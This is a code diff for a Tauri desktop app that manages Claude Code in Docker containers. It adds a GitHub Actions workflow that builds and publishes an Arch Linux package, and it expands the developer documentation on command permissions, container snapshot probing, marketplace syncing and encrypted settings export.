echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||
echo "deb_url=${DEB_URL}" >> "$GITHUB_OUTPUT"
|
||||
echo "deb_name=${DEB_NAME}" >> "$GITHUB_OUTPUT"
|
||||
echo "release_id=${RELEASE_ID}" >> "$GITHUB_OUTPUT"
|
||||
echo "upload_url=${UPLOAD_URL}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Download the release asset and compute real checksums
|
||||
id: checksums
|
||||
env:
|
||||
DEB_URL: ${{ steps.resolve.outputs.deb_url }}
|
||||
DEB_NAME: ${{ steps.resolve.outputs.deb_name }}
|
||||
TAG: ${{ steps.resolve.outputs.tag }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
curl -fsSL -o "${DEB_NAME}" "${DEB_URL}"
|
||||
curl -fsSL -o LICENSE "https://raw.githubusercontent.com/${GITHUB_REPO}/${TAG}/LICENSE"
|
||||
|
||||
echo "deb_sha256=$(sha256sum "${DEB_NAME}" | cut -d' ' -f1)" >> "$GITHUB_OUTPUT"
|
||||
echo "license_sha256=$(sha256sum LICENSE | cut -d' ' -f1)" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Render PKGBUILD
|
||||
id: render
|
||||
env:
|
||||
VERSION: ${{ steps.resolve.outputs.version }}
|
||||
DEB_NAME: ${{ steps.resolve.outputs.deb_name }}
|
||||
DEB_SHA256: ${{ steps.checksums.outputs.deb_sha256 }}
|
||||
LICENSE_SHA256: ${{ steps.checksums.outputs.license_sha256 }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
mkdir -p rendered
|
||||
cp packaging/arch/PKGBUILD rendered/PKGBUILD
|
||||
cd rendered
|
||||
|
||||
# Plain string replacement throughout, not sed — the source URL
|
||||
# contains slashes and the repo name does too, and getting a sed
|
||||
# delimiter choice AND its escaping right for that is exactly the
|
||||
# kind of thing that looks correct, passes review, and breaks the
|
||||
# next time someone touches it. `re.sub` with `count=1` and an
|
||||
# exact `.format`-free literal match is boring and that's the
|
||||
# point: every substitution below fails loudly (an assertion /
|
||||
# the checks after) rather than silently no-op'ing if the
|
||||
# template's shape ever drifts from what this expects.
|
||||
#
|
||||
# pkgrel resets to 1 for a new pkgver — a packaging-only fix to the
|
||||
# same upstream version (a dependency bump, say) is what pkgrel is
|
||||
# for, and this workflow always republishes the current PKGBUILD
|
||||
# verbatim rather than incrementing anything, so 1 is always
|
||||
# correct for what this workflow does. It is NOT correct for a
|
||||
# dependency-only fix republished at the *same* pkgver: pkgrel
|
||||
# would be forced back to 1, and no existing installation sees an
|
||||
# upgrade. That case needs a manual pkgrel bump in the template
|
||||
# before dispatching, which this workflow has no input for.
|
||||
python3 - "$VERSION" "$DEB_NAME" "$DEB_SHA256" "$LICENSE_SHA256" "$GITHUB_REPO" <<'PY'
|
||||
import re, sys
|
||||
version, deb_name, deb_sha, license_sha, github_repo = sys.argv[1:6]
|
||||
|
||||
with open("PKGBUILD") as f:
|
||||
text = f.read()
|
||||
|
||||
text, n = re.subn(r"(?m)^pkgver=.*$", f"pkgver={version}", text, count=1)
|
||||
assert n == 1, "pkgver=... line not found"
|
||||
text, n = re.subn(r"(?m)^pkgrel=.*$", "pkgrel=1", text, count=1)
|
||||
assert n == 1, "pkgrel=... line not found"
|
||||
|
||||
# Built with a "$" variable and plain "+" concatenation rather than
|
||||
# an f-string's double-brace escape for a literal brace: writing
|
||||
# this as an f-string put a dollar sign directly against two open
|
||||
# braces, right here in this workflow's own YAML text — and this
|
||||
# runner's own expression templating scans a run: block for that
|
||||
# exact two-character opening sequence and tries to evaluate
|
||||
# whatever sits inside as one of ITS OWN expressions (a step
|
||||
# output, a secret, ...) before the shell ever sees this script.
|
||||
# "pkgver" isn't one of those, so that lookup failed and silently
|
||||
# emptied this whole step rather than raising anything here.
|
||||
# Spelling the dollar sign out of a variable instead means this
|
||||
# file's own text never contains that trigger sequence.
|
||||
DOLLAR = "$"
|
||||
old_source = (
|
||||
"source=(\"Triple-C_" + DOLLAR + "{pkgver}_amd64.deb::"
|
||||
+ "https://github.com/" + github_repo + "/releases/download/v" + DOLLAR + "{pkgver}/"
|
||||
+ "Triple-C_" + DOLLAR + "{pkgver}_amd64.deb\""
|
||||
)
|
||||
new_source = (
|
||||
f'source=("{deb_name}::'
|
||||
f'https://github.com/{github_repo}/releases/download/v{version}/{deb_name}"'
|
||||
)
|
||||
assert old_source in text, "source=() line does not match the expected template shape"
|
||||
text = text.replace(old_source, new_source, 1)
|
||||
|
||||
old_sums = "sha256sums=('SKIP'\n 'SKIP')"
|
||||
assert old_sums in text, "sha256sums=() placeholders not found"
|
||||
text = text.replace(old_sums, f"sha256sums=('{deb_sha}'\n '{license_sha}')", 1)
|
||||
|
||||
with open("PKGBUILD", "w") as f:
|
||||
f.write(text)
|
||||
PY
|
||||
|
||||
grep -q "pkgver=${VERSION}$" PKGBUILD
|
||||
! grep -q "SKIP" PKGBUILD
|
||||
|
||||
- name: Validate with makepkg and namcap
|
||||
id: build
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
# A bind mount (`docker run -v "$PWD/...":/work`) is the more
|
||||
# obvious way to write this, and was the first draft — but on a
|
||||
# containerized Gitea act_runner job, `$PWD` is a path inside this
|
||||
# job's own container, which the daemon's host cannot resolve; the
|
||||
# mount would silently attach an empty directory instead of failing
|
||||
# loudly. `docker cp` moves real bytes across that boundary
|
||||
# regardless of where the daemon actually lives, which is what
|
||||
# makes this work under both a bind-mount-capable runner and a
|
||||
# containerized one.
|
||||
docker pull archlinux:latest
|
||||
CID=$(docker create -w /work archlinux:latest bash -c '
|
||||
set -euo pipefail
|
||||
pacman -Syu --noconfirm --needed base-devel namcap sudo git openssh >/dev/null
|
||||
useradd -m builder
|
||||
chown -R builder:builder /work
|
||||
echo "builder ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/builder
|
||||
sudo -u builder bash -c "cd /work && makepkg --printsrcinfo > .SRCINFO"
|
||||
sudo -u builder bash -c "cd /work && makepkg -s --noconfirm"
|
||||
# Named once here, inside the container, rather than guessed
|
||||
# from options=(!strip !debug) plus pkgver/pkgrel/arch on the
|
||||
# host after the fact — makepkg is the one place that actually
|
||||
# knows its own output name, and `!debug` already guarantees
|
||||
# this glob can only ever match the one real package (no
|
||||
# -debug split package gets produced).
|
||||
basename /work/*.pkg.tar.* > /work/.pkgfile
|
||||
echo "--- namcap ---"
|
||||
NAMCAP_OUT=$(sudo -u builder bash -c "cd /work && namcap PKGBUILD *.pkg.tar.*" || true)
|
||||
echo "$NAMCAP_OUT"
|
||||
# Matches "triple-c-bin E:", "PKGBUILD (triple-c-bin) E:" and any
|
||||
# split-package variant ("triple-c-bin-debug E:") alike — namcap
|
||||
# uses more than one line shape for its two rule families, and
|
||||
# namcap itself exits 0 regardless of what it reports, so this
|
||||
# grep is the only thing standing between an E: and a green job.
|
||||
if echo "$NAMCAP_OUT" | grep -q " E: "; then
|
||||
echo "namcap reported an error — see above" >&2
|
||||
exit 1
|
||||
fi
|
||||
')
|
||||
mkdir -p rendered
|
||||
docker cp rendered/. "${CID}:/work"
|
||||
# `docker start -a` streams output and its exit code is the
|
||||
# container's own — the same failure this would have hit with a
|
||||
# bind mount still fails the job the same way.
|
||||
docker start -a "${CID}"
|
||||
docker cp "${CID}:/work/.SRCINFO" rendered/.SRCINFO
|
||||
docker cp "${CID}:/work/.pkgfile" rendered/.pkgfile
|
||||
PKG_FILE=$(cat rendered/.pkgfile)
|
||||
docker cp "${CID}:/work/${PKG_FILE}" "rendered/${PKG_FILE}"
|
||||
docker rm -f "${CID}" >/dev/null
|
||||
|
||||
echo "pkg_file=${PKG_FILE}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Attach the package to the GitHub release
|
||||
env:
|
||||
GH_PAT: ${{ secrets.GH_PAT }}
|
||||
TAG: ${{ steps.resolve.outputs.tag }}
|
||||
RELEASE_ID: ${{ steps.resolve.outputs.release_id }}
|
||||
UPLOAD_URL: ${{ steps.resolve.outputs.upload_url }}
|
||||
PKG_FILE: ${{ steps.build.outputs.pkg_file }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
if [ -z "${GH_PAT}" ]; then
|
||||
echo "GH_PAT is not set — this step needs it to attach a release asset." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# A manual re-dispatch for a version that's already been packaged
|
||||
# would otherwise hit GitHub's 422 "already_exists" here instead
|
||||
# of just replacing the stale build with this one.
|
||||
EXISTING_ID=$(curl -fsS -H "Authorization: Bearer ${GH_PAT}" -H "Accept: application/vnd.github+json" \
|
||||
"https://api.github.com/repos/${GITHUB_REPO}/releases/${RELEASE_ID}/assets" \
|
||||
| jq -r --arg name "$PKG_FILE" '.[] | select(.name == $name) | .id')
|
||||
if [ -n "$EXISTING_ID" ]; then
|
||||
echo "Replacing the existing ${PKG_FILE} (asset id ${EXISTING_ID}) already on ${TAG}"
|
||||
curl -fsS -X DELETE -H "Authorization: Bearer ${GH_PAT}" -H "Accept: application/vnd.github+json" \
|
||||
"https://api.github.com/repos/${GITHUB_REPO}/releases/assets/${EXISTING_ID}"
|
||||
fi
|
||||
|
||||
curl -fsS -X POST \
|
||||
-H "Authorization: Bearer ${GH_PAT}" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "Content-Type: application/octet-stream" \
|
||||
--data-binary "@rendered/${PKG_FILE}" \
|
||||
"${UPLOAD_URL}?name=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" "${PKG_FILE}")" \
|
||||
> /dev/null
|
||||
|
||||
echo "Attached ${PKG_FILE} to ${TAG}"
|
||||
@@ -1,6 +1,9 @@
|
||||
node_modules/
|
||||
app/dist/
|
||||
app/src-tauri/target/
|
||||
# Written by build.rs (tauri-build AppManifest); gen/schemas/acl-manifests.json is the
|
||||
# tracked, reviewable form of the same information.
|
||||
app/src-tauri/permissions/autogenerated/
|
||||
Screenshot*.png
|
||||
code-review.md
|
||||
|
||||
@@ -13,3 +16,6 @@ screenshot_for_fix/
|
||||
|
||||
# Package files pulled in by ad-hoc verification runs.
|
||||
*.deb
|
||||
|
||||
# Windows CI code signing (scripts/windows-signing-setup.ps1)
|
||||
.code-signing/
|
||||
|
||||
+21
-5
@@ -71,13 +71,29 @@ npm ci
|
||||
npx tauri build
|
||||
```
|
||||
|
||||
Linux ships as **AppImage only**. To match what CI produces, pass the bundle
|
||||
explicitly:
|
||||
|
||||
```bash
|
||||
npx tauri build --bundles appimage
|
||||
```
|
||||
|
||||
The `.deb` and `.rpm` bundles were dropped — two more artifacts to build and
|
||||
publish for an audience the AppImage already serves, and neither could
|
||||
self-update. A bare `npx tauri build` still emits them, because
|
||||
`tauri.conf.json` keeps `"targets": "all"` so that macOS and Windows are
|
||||
untouched; they are not released and not tested.
|
||||
|
||||
Build artifacts are located in `app/src-tauri/target/release/bundle/`:
|
||||
|
||||
| Format | Path |
|
||||
|------------|-------------------------------|
|
||||
| AppImage | `appimage/*.AppImage` |
|
||||
| Debian pkg | `deb/*.deb` |
|
||||
| RPM pkg | `rpm/*.rpm` |
|
||||
| Format | Path | Released |
|
||||
|------------|-------------------------------|----------|
|
||||
| AppImage | `appimage/*.AppImage` | yes |
|
||||
| Debian pkg | `deb/*.deb` | no |
|
||||
| RPM pkg | `rpm/*.rpm` | no |
|
||||
|
||||
`scripts/finalize-appimage.sh` post-processes the AppImage; see the Packaging
|
||||
section of `CLAUDE.md` for why both of its steps are load-bearing.
|
||||
|
||||
## macOS
|
||||
|
||||
|
||||
@@ -73,6 +73,16 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
|
||||
- **`hooks/`** — All Tauri IPC calls are encapsulated in hooks (`useTerminal`, `useProjects`, `useDocker`, `useSettings`)
|
||||
- **`lib/tauri-commands.ts`** — Typed `invoke()` wrappers; TypeScript types in `lib/types.ts` must match Rust models
|
||||
- **`components/terminal/TerminalView.tsx`** — xterm.js integration with WebGL rendering, URL detection for OAuth flow
|
||||
- **`viewer/`** — the terminal file viewer's window (second Vite entry `viewer.html` →
|
||||
`src/viewer/main.tsx`; CodeMirror 6). `lib/filePathLinks.ts` decides what a path is;
|
||||
`components/terminal/filePathLinkProvider.ts` registers it with xterm. The OSC 8 handler now
|
||||
runs with `allowNonHttpProtocols` on and dispatches `file:` to the viewer, so every other scheme
|
||||
must be refused *there*. `viewer.html` must never carry an inline `<style>` — Tauri would add a
|
||||
style nonce and CodeMirror's injected styles would stop applying. A missing or broken
|
||||
`viewer.html` Vite entry is not caught by Tauri at build time — both Vite dev and Tauri's asset
|
||||
lookup silently fall back to `index.html`, so the window just opens the *main app*, full UI and
|
||||
all, with no error anywhere; `file_viewer::tests::the_viewer_entry_exists_and_is_a_vite_input`
|
||||
in `file_viewer/mod.rs` is the only thing pinning this.
|
||||
- **`components/layout/`** — TopBar, MainTabs (the unified tab strip), Sidebar, StatusBar
|
||||
- **`components/projects/`** — `ProjectRow` (select-only list row), `ProjectList`, `AddProjectDialog`,
|
||||
and the editors reused by Project Home
|
||||
@@ -161,6 +171,19 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
|
||||
Beyond docker/project/settings/terminal: `inspect_commands.rs` (read-only views into a
|
||||
container — Claude sessions, installed capabilities, scheduler tasks), `auth_bridge_commands.rs`,
|
||||
`auth_token_commands.rs`.
|
||||
- **`file_viewer/`** — one window per click (`file-viewer-<n>`), a managed `ViewerRegistry`,
|
||||
resolution by probing `/workspace/<p>` then `/workspace/<mount>/<p>` in one exec as `claude`,
|
||||
polling by `sha256sum`, saves staged in `/tmp` and swapped in by a `sh` script as the container
|
||||
user (spec §5 says why the archive API never writes to the target directory). Commands take
|
||||
`window: tauri::Window`, gate on the label and act on the caller's own registry entry — no
|
||||
viewer command accepts a path. Which window may *call* each command is the ACL's job: the
|
||||
`file-viewer-*` capability grants exactly the five `viewer_*` commands (see `build.rs`).
|
||||
- **`build.rs` + `src/command_census.rs`** — the build declares a Tauri `AppManifest` from the
|
||||
`generate_handler!` list and refuses to build unless every command has exactly one bare
|
||||
`allow-*` grant in the capability file its name says it belongs to. The parser and rules are
|
||||
in `command_census.rs`, compiled into both the build script and the test build, so they are
|
||||
unit-tested; `the_generated_app_manifest_matches_the_handler_list` reads back what tauri
|
||||
embedded. Design: `docs/superpowers/specs/2026-09-22-app-manifest-lockdown-design.md`.
|
||||
- **`auth_bridge/`** — Host-side loopback bridge so browser logins run *inside* a container can
|
||||
complete against the host browser. Discovers listeners by parsing `/proc/net/tcp{,6}` (the image
|
||||
has no `ss`/`netstat`/`lsof`), binds host `127.0.0.1` **only**, and tunnels in over the Docker
|
||||
@@ -413,6 +436,26 @@ container is created once by a very long function where a dropped capability is
|
||||
existing toggle: the label fingerprints *the setting*, not the set of things the setting drives,
|
||||
so a project already at `true` gets no recreation at all on upgrade.
|
||||
|
||||
### Keeping Claude Code current
|
||||
|
||||
`claude update` runs in **two** places, and both are needed:
|
||||
|
||||
- `container/entrypoint.sh` runs it once per container start, before any session exists.
|
||||
- `commands/terminal_commands.rs` (and its twin in `web_terminal/ws_handler.rs`) prepend it to the
|
||||
command every Claude session launches with, because containers use a stop/start model and a
|
||||
long-lived one would otherwise never re-check.
|
||||
|
||||
Both are `timeout`-bounded and `|| echo`'d, so an offline or slow network delays a tab rather than
|
||||
failing it, and **both take the same `flock` on `/tmp/.triple-c-claude-update.lock`**. That lock is
|
||||
not tidiness: the entrypoint prints "container ready" only after its own update finishes, so
|
||||
starting a project and immediately opening a tab — or opening two tabs at once — otherwise runs two
|
||||
updaters against the same `~/.claude/bin`, and `|| echo` would hide a half-written install behind a
|
||||
friendly message one line before `exec claude` ran it. `-E 0` makes losing the race a success,
|
||||
because the holder just did the work. The per-session copy is what forced the non-Bedrock path from a bare `["claude", ...]`
|
||||
argv into a `bash -c` wrapper — the flags and the session name are interpolated into a shell
|
||||
string now, so **anything added there must go through `shell_quote_arg`**. Bash sessions are
|
||||
deliberately untouched.
|
||||
|
||||
### Container Lifecycle
|
||||
|
||||
Containers use a **stop/start** model (not create/destroy). Installed packages persist across stops. The `.claude` config dir uses a named Docker volume (`triple-c-claude-config-{projectId}`), nested inside the home volume (`triple-c-home-{projectId}`), so OAuth tokens and Claude Code config survive container stop/start *and* container recreation.
|
||||
@@ -436,6 +479,63 @@ security update. Migration is the non-destructive way out; Reset is the destruct
|
||||
bump: churn on the old base, and it would consume the "you should migrate" signal without
|
||||
migrating. `get_container_staleness` surfaces it; `migrate_project_to_base` acts on it.
|
||||
- **A missing lineage label means "unknown, probe instead", never "stale".**
|
||||
- **The snapshot image is not a checkpoint — never read its absence as "nothing to inspect".**
|
||||
`commit_container_snapshot` runs only before a container is destroyed (a config-change recreate)
|
||||
or inside a migration. **Never on stop.** So a project in daily use for a year can legitimately
|
||||
have no `triple-c-snapshot-{id}:latest` at all, and one that has is stale by everything installed
|
||||
since. `pick_probe_source` therefore reads a *stopped* container directly — commit its writable
|
||||
layer to a unique `triple-c-probe-*` image, probe that, drop it — and ranks it **above** the snapshot,
|
||||
for the same reason a running container already outranked it. Assuming a snapshot existed is what
|
||||
made a stopped, never-recreated project report "no container or snapshot image yet" with its
|
||||
container sitting right there, and left Update disabled on the projects furthest behind.
|
||||
- **`bollard` never gives you the image id back from a commit.** Its `Commit` response model
|
||||
deserialises `"ID"`; the daemon sends `"Id"`, so `commit_container` returns `id: None` every time
|
||||
(verified: bollard 0.18.1, Engine 29.6). Neither long-standing commit site notices because both
|
||||
discard the response — but it means any commit you need a *reference* to has to be **tagged**.
|
||||
- **A tagged leftover is the one orphan no sweep can reach, so the probe image has its own reaper.**
|
||||
`sweep_orphaned_snapshots` collects `dangling` + `triple-c.managed=true`; `reap_stale_migration_pins`
|
||||
and `scrub_secrets_from_snapshots` both filter `triple-c-snapshot-*`. A `triple-c-probe-*` image is
|
||||
tagged and so matches none of them, which would make a crashed probe a permanent multi-gigabyte
|
||||
leak with no UI to find it. `reap_probe_images` runs at startup beside `reap_probe_containers` and
|
||||
is **load-bearing, not tidying** — it is also what makes the probe image's unscrubbed writable
|
||||
layer acceptable. Two rules it earned the hard way:
|
||||
- **Age-gate it** (`PROBE_REAP_MIN_AGE_SECS`, same as the container reaper). `reference=` is
|
||||
daemon-wide, so a second copy of the app has live probe images matching the glob.
|
||||
- **Remove by tag, never by image id.** A `force` removal by id untags an image *everywhere*; a
|
||||
fixture that tagged `alpine:latest` into this namespace deleted the user's alpine that way.
|
||||
- **Probe image names are unique per call, and must stay that way.** A stable per-container name was
|
||||
tried: container ids do not survive a recreate, so most leftovers were stranded permanently, and
|
||||
two concurrent probes fought over one tag — whichever finished first force-removed the image the
|
||||
other was still reading, reporting a bogus `probe_error` on a healthy project. `get_container_staleness`
|
||||
takes no `project_lock` claim (the migration banner needs it to answer *during* a migration), so
|
||||
uniqueness is what makes overlapping probes safe.
|
||||
- **The stopped-container probe is cached per stop, and that is not an optimisation you may drop.**
|
||||
`getContainerStaleness` is called from a `useEffect` that fires whenever the container settles, so
|
||||
merely opening a stopped project's Overview probes it. Uncached that is a `docker commit` of the
|
||||
whole writable layer per visit — measured at 44 s on a real project, against ~3 s for the snapshot
|
||||
probe it replaced. `STOPPED_MANIFEST_CACHE` is keyed on the container's `FinishedAt`, which is
|
||||
exact rather than merely plausible: nothing can write to a stopped container's writable layer, and
|
||||
`FinishedAt` moves on every stop. A live test asserts the restart case, because a cache that
|
||||
failed to invalidate would plan a migration against a filesystem the project no longer has.
|
||||
- **Do not "skip the probe when the project is not stale" to save that cost.** It was tried. The
|
||||
deltas would be empty while `probeSettled` (`!probing && staleness && !probe_error`) stayed *true*,
|
||||
which leaves the migrate action in the project menu enabled — that action is not gated on the
|
||||
banner — so the pre-flight would report nothing to copy while the backend was told to copy
|
||||
nothing. That is the exact hazard `ProjectHome.tsx`'s `canMigrate` comment already warns about.
|
||||
- **A failed stopped-container probe falls back to the snapshot whenever one exists.** Before this
|
||||
feature a stopped project read its snapshot directly, so surfacing a commit failure where the
|
||||
snapshot could have answered would make the banner *worse* than it was — and the failure modes are
|
||||
exactly the ones where the fallback earns its keep: a full disk (the commit allocates the whole
|
||||
writable layer; the snapshot probe allocates nothing) and a 409 from a concurrent claim.
|
||||
- **`get_container_staleness` never commits while the project is claimed.** It takes no
|
||||
`project_lock` claim itself, deliberately — the banner has to answer *during* a migration — so it
|
||||
reads `project_lock::held` instead and probes the snapshot rather than the container. The
|
||||
collision is not symmetric: the probe losing is a retryable `probe_error`, but
|
||||
`start_project_container` removes the old container with a hard `?`, so a remove that raced a
|
||||
commit would fail the user's Start with an opaque error.
|
||||
- **An image's `Created` is the image's own, not its tag's.** Tagging an existing image gives you
|
||||
that image's age; BuildKit stamps `docker build` output with a fixed epoch. Only `docker commit`
|
||||
stamps *now* — which is what real probe images do, and what any fixture for them must do.
|
||||
- **`:latest` keeps pointing at the old lineage until the final commit.** That is what makes every
|
||||
crash before that point self-heal — `start_project_container` just recreates from the old
|
||||
snapshot. After the container swap, the new container's `triple-c.migration-state=in-progress`
|
||||
@@ -501,9 +601,28 @@ Anthropic and Bedrock deliberately keep Claude Code's own defaults.
|
||||
|
||||
- Frontend types in `lib/types.ts` must stay in sync with Rust structs in `models/`
|
||||
- Tauri commands are registered in `lib.rs` via `.invoke_handler(tauri::generate_handler![...])`
|
||||
- `capabilities/default.json` grants permissions for **plugin** commands only (`core:`, `dialog:`,
|
||||
`store:`, `opener:`). Application commands registered through `generate_handler!` do **not**
|
||||
need an entry there — adding one is not required and none exists for any app command.
|
||||
- **A new command needs three things:** `#[tauri::command]`, a `generate_handler!` entry in
|
||||
`lib.rs`, and a bare `allow-<name-with-dashes>` entry in the one capability file for the
|
||||
window that calls it — `viewer_*` commands in `capabilities/file-viewer.json`, everything else
|
||||
in `capabilities/default.json`. `build.rs` declares a Tauri `AppManifest` from the handler list
|
||||
(without one, tauri 2.11 does not apply the ACL to app commands at all) and fails `cargo
|
||||
check`/`tauri build` on a missing, misspelled, duplicated or misfiled grant, a `deny-*`, or a
|
||||
hand-written file under `permissions/`. `src/test/capabilities.test.ts` fails if code that runs
|
||||
in a window imports a `tauri-commands.ts` wrapper that window is not granted. Only `_` becomes
|
||||
`-` in the identifier; `permissions/autogenerated/` is generated and ignored, and
|
||||
`gen/schemas/*.json` is regenerated by every build and committed.
|
||||
- **A new window needs its own top-level `capabilities/*.json`; never `webviews`/`remote`;
|
||||
never inline.** `build.rs` only vouches for what `src/command_census.rs` reads — a top-level
|
||||
`capabilities/*.json` file with a `windows` list — so it refuses to build on anything tauri
|
||||
would load that the census can't check: a capability under a subdirectory or written as
|
||||
`.toml`/`.json5`, a `webviews` or `remote` key in a capability file (either widens grants past
|
||||
what `windows` says), `app.security.capabilities` declared inline in `tauri.conf.json`/any
|
||||
`tauri.<platform>.conf.json`/`TAURI_CONFIG`, or a tauri config in a format it can't parse
|
||||
(JSON5, TOML). OS/editor junk (`.DS_Store`, `Thumbs.db`, swap files) is recognised and skipped
|
||||
rather than refused. Each failure names the check that failed, not just "capabilities do not
|
||||
match generate_handler!". **Known limit:** adding a new `tauri.<platform>.conf.json` to a tree
|
||||
that has already been built once only takes effect on a clean build or in CI — cargo's
|
||||
incremental build has no reason to notice a file that did not exist on the previous build.
|
||||
- The `projects.json` file uses atomic writes (write to `.tmp`, then `rename()`). Corrupted files are backed up to `.bak`.
|
||||
- **Adding project state that changes the container?** `container_needs_recreation()` is entirely
|
||||
**label-based** — it does not diff the container's env. If a new setting affects the container's
|
||||
@@ -524,6 +643,34 @@ Anthropic and Bedrock deliberately keep Claude Code's own defaults.
|
||||
`#[serde(default)]` on a `bool` yields `false`; follow the `default_full_permissions` pattern in
|
||||
`models/project.rs` for anything that should default to true.
|
||||
- Cross-platform paths: Docker socket is `/var/run/docker.sock` on Linux/macOS, `//./pipe/docker_engine` on Windows
|
||||
- A new local window needs its own capability file (`capabilities/file-viewer.json` is the
|
||||
model), and `lib.rs`'s `on_window_event` stays guarded on `label() == "main"`.
|
||||
|
||||
### Marketplace
|
||||
|
||||
- Code: models in `models/marketplace.rs`; host-side logic in `src/marketplace/` (`git.rs` gix
|
||||
cache + pins, `catalog.rs` repo format, `auth.rs` credentials, `gh_login.rs`, `payload.rs`,
|
||||
`sync.rs`); commands in `commands/marketplace_commands.rs`; UI in `components/marketplace/` and
|
||||
`projects/home/config/MarketplaceSection.tsx`. Spec:
|
||||
`docs/superpowers/specs/2026-09-27-marketplace-design.md`.
|
||||
- **Tokens never enter containers.** Marketplaces are fetched on the host into
|
||||
`<data_dir>/triple-c/marketplaces/<id>.git`; containers only ever receive a tar of pinned
|
||||
files. Do not add a code path that passes a marketplace credential into an exec, env var, label
|
||||
or file in a container.
|
||||
- **Sync model:** after every container start (next to `sync_bedrock_credentials`) and on "Apply
|
||||
now", the host builds the project's effective set (`global − disabled ∪ project`), then uploads
|
||||
`payload.tar` **and the app-embedded script `src/marketplace/sync.sh`** (`include_str!`, not a
|
||||
file in `container/`) to `~/.claude/triple-c/marketplace/incoming/` and runs it as `claude`,
|
||||
once the entrypoint has finished (`pgrep -x -f 'su -s /bin/bash claude -c exec sleep
|
||||
infinity'`). The script is re-uploaded on every sync rather than baked into the image, so every
|
||||
existing project always gets the version that matches the running app — `container/` is never
|
||||
touched for this feature. The script only removes files and hook entries it recorded in
|
||||
`~/.claude/triple-c/marketplace/state.json`; it must never overwrite or delete user-created
|
||||
agents/skills/commands or user hooks. A sync failure must not fail the container start.
|
||||
- Installs are **pinned** to a commit; nothing updates without the user accepting a diff. Pinned
|
||||
commits are kept alive by `refs/triple-c/pins/*` in the cache.
|
||||
- Marketplace changes need no container labels or recreation — they are applied by the sync, not
|
||||
at create time.
|
||||
|
||||
## Secrets
|
||||
|
||||
@@ -552,6 +699,248 @@ survived 92 commits and fourteen days in the public GitHub mirror, past five aud
|
||||
independent reviews, because every one of them read the code under change and this sat in a test
|
||||
nobody had reason to open. Fixtures are never live values; there is no case where they need to be.
|
||||
|
||||
## Settings export/import
|
||||
|
||||
`commands::settings_export_commands`, `storage::settings_crypto`, `models::settings_export`
|
||||
(triple-c#35). Exports the *host* environment — global `AppSettings` plus the global secrets that
|
||||
live in the OS keychain instead: the shared Claude Code OAuth login, the model gateway's two keys,
|
||||
and every marketplace account's token. Per-project settings, per-project secrets, and anything in
|
||||
a project's Docker volumes are deliberately out of scope — this is not a project backup.
|
||||
|
||||
- **`AppSettings` is not entirely the non-secret shape it looks like, and a review of this feature
|
||||
caught the one place that isn't.** `WebTerminalSettings::access_token` is a live bearer
|
||||
credential for a server that binds every interface — exporting `AppSettings` wholesale would
|
||||
have carried it along as if it were as inert as a port number, and importing it would have
|
||||
applied `web_terminal.enabled` and the token together with no more warning than any other
|
||||
setting, letting a crafted export silently stand up a LAN-listening terminal on the next launch.
|
||||
`export_settings`/`apply_settings_import` carve this one field out into `ExportedSecrets`
|
||||
instead, with the same "only overwrite what the import actually has" treatment as the other
|
||||
three secrets — except "leave it alone" has to be done by hand in `apply_settings_import`, since
|
||||
unlike the keychain secrets this one lives inside the `AppSettings` blob that gets replaced
|
||||
wholesale. `SettingsImportPreview::enables_web_terminal` also exists because of this: `enabled`
|
||||
and the token are independent fields, and "this turns on a listening service" must not hide
|
||||
inside a generic "settings replaced" summary. Read this as the standing example of the class of
|
||||
thing to keep checking for in this feature, not a one-off fixed bug — any other field that looks
|
||||
like config but is actually a live credential would have the same problem.
|
||||
- **Marketplace account tokens travel in `ExportedSecrets`, not in `AppSettings`.** `Token` and
|
||||
`GhContainer` accounts' tokens live in the keychain (`triple-c-marketplace-account-<id>`), so
|
||||
they follow the same "carve out of the keychain, restore before the settings replace, only
|
||||
overwrite what the file actually has" treatment as the other three secrets
|
||||
(`ExportedSecrets::marketplace_account_tokens`, keyed by account id). Marketplaces and install
|
||||
lists themselves are ordinary `AppSettings` fields and travel with the settings replace, but are
|
||||
**validated** on import the same way the add-marketplace/install commands validate them
|
||||
(`validate_imported_marketplace_state`) — an import is untrusted input, not a trusted restore.
|
||||
The preview warns whenever the import carries one or more **global hook installs or global
|
||||
plugin installs**, in addition to the base-URL and custom-image warnings above: a hook runs
|
||||
commands in every project container, and a plugin can carry its own hooks and MCP servers into
|
||||
one — and an imported install skips the hook-confirm step an install from the Marketplace tab
|
||||
shows, so this is the only place that confirmation happens for an import.
|
||||
- **Encrypted because it can carry live credentials, not for appearance's sake.** Argon2id derives
|
||||
a 256-bit key from the user's password (memory-hard — meaningfully resistant to GPU/ASIC
|
||||
brute-forcing, unlike PBKDF2 at any reasonable iteration count), AES-256-GCM does the actual
|
||||
encryption. A wrong password fails GCM's authentication tag rather than producing silent
|
||||
garbage. The salt and nonce are not secret and are written in the clear in the file's own
|
||||
header — the salt's job is only to make two exports of the same password derive different keys,
|
||||
and the nonce's only requirement is per-encryption uniqueness, which a fresh random draw on
|
||||
every export already gives it.
|
||||
- **The save/open dialogs are opened from Rust**, the same boundary `file_commands.rs`'s
|
||||
`pick_save_path`/`pick_files_to_upload` draw and document at length: a frontend-driven dialog
|
||||
handing Rust a host path string is the exact shape of bug that produced this app's past
|
||||
criticals. `preview_settings_import` resolves the chosen path itself and remembers it
|
||||
(`AppState::pending_settings_import`) so `apply_settings_import` re-reads the same file without
|
||||
a path ever crossing back over IPC. It also pins a hash of the file's ciphertext next to that
|
||||
path, and `apply_settings_import` refuses to proceed if the file on disk no longer matches it —
|
||||
otherwise confirming a preview would not actually be binding on what gets applied, which matters
|
||||
given this feature's own threat model: a file shared between people may sit in a synced or
|
||||
otherwise shared directory that changes between the two calls.
|
||||
- **The decrypted payload is not cached between preview and apply — only the password is reused.**
|
||||
